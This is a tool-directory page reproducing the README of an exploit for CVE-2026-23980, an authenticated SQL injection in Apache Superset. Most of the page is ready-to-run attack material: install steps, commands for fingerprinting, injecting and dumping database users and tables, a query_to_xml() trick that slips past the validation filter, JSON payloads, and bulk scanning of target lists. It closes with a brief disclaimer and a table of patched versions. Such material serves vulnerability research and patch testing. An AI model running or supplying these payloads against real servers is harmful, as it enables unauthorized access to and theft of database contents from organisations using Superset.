Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23980-Exploit — Exploit for CVE-2026-23980 — Authenticated error-based SQL injection in Apache Superset < 6.0.0 via sqlExpression bypass | Kitploit
Tools/GitHubGitHub/oscar-mine/cve-2026-23980-exploit
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHuboscar-mine/cve-2026-23980-exploit

CVE-2026-23980-Exploit

Exploit for CVE-2026-23980 — Authenticated error-based SQL injection in Apache Superset < 6.0.0 via sqlExpression bypass

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
4 months agoNot yet reviewed

CVE-2026-23980 - Apache Superset Authenticated SQL Injection

root@kitploit:~
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\

sqlExpression goes straight to the query. no parameterization. no hope.

Apache Superset < 6.0.0 allows authenticated users with read access to perform error-based SQL injection via the sqlExpression or where parameters in the /api/v1/chart/data endpoint.

The validate_adhoc_subquery() filter is bypassed using PostgreSQL XML functions (query_to_xml, etc.) which execute SQL as function arguments, invisible to the sqlparse tokenizer.

  • CVSS: 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • CWE: CWE-89 (SQL Injection)
  • Affected: Apache Superset < 6.0.0
  • Fixed: Apache Superset 6.0.0
  • Auth required: Yes (read access)
  • Database: PostgreSQL (error-based extraction)

Kill chain

root@kitploit:~
POST /api/v1/chart/data
  -> ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> adhoc column sqlExpression / extras.where injected
  -> validate_adhoc_subquery() BYPASSED via query_to_xml()
  -> raw SQL hits PostgreSQL
  -> CAST((...) AS INT) error leaks data in response

Install

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests

Usage

Recon - fingerprint and enumerate datasources

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --check

Test if a datasource is injectable

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test

Extract data via error-based SQLi

root@kitploit:~
# Database version
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# Database users
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# List tables
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# Current user
python3 exploit.py ... --sql "SELECT current_user"

Bypass subquery validation with query_to_xml()

When validate_adhoc_subquery() blocks your query (detects FROM/JOIN):

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass

This wraps the query in query_to_xml() which hides the FROM clause from the tokenizer.

Dump multiple rows

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20

Use the WHERE injection point

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where

Bulk scan

root@kitploit:~
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt

Proxy through Burp

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080

How it works

Injection vectors

sqlExpression (default) - injected into a column definition:

root@kitploit:~
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}

where - injected into the extras.where clause:

root@kitploit:~
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}

Error-based extraction

The exploit uses PostgreSQL's type casting to leak data:

root@kitploit:~
CAST((SELECT version()) AS INT)

PostgreSQL can't convert a string to integer, so it throws:

root@kitploit:~
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."

The leaked value is parsed from the error message in the API response.

Validation bypass

Superset's has_table_query() scans for FROM/JOIN to detect subqueries. PostgreSQL's query_to_xml() executes SQL but hides it as a function argument:

root@kitploit:~
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')

The tokenizer sees a function call, not a FROM clause, bypassing the filter.

Patch analysis

VersionStatus

References

  • NVD - CVE-2026-23980
  • Apache Advisory
  • Quarkslab - Bypass Superset SQLi restrictions
  • OSS Security
  • CVE-2025-48912 - Related RLS bypass

Disclaimer

This tool is for authorized security research only. Only use against systems you have explicit permission to test. The author is not responsible for misuse.

Download Tool
< 4.0.2Vulnerable (no XML function denylist)
4.0.2Partial fix (CVE-2024-39887 - added some XML functions to denylist)
4.1.0Extended denylist (more XML functions)
4.1.2Row-level security bypass fixed (CVE-2025-48912)
6.0.0Full fix for CVE-2026-23980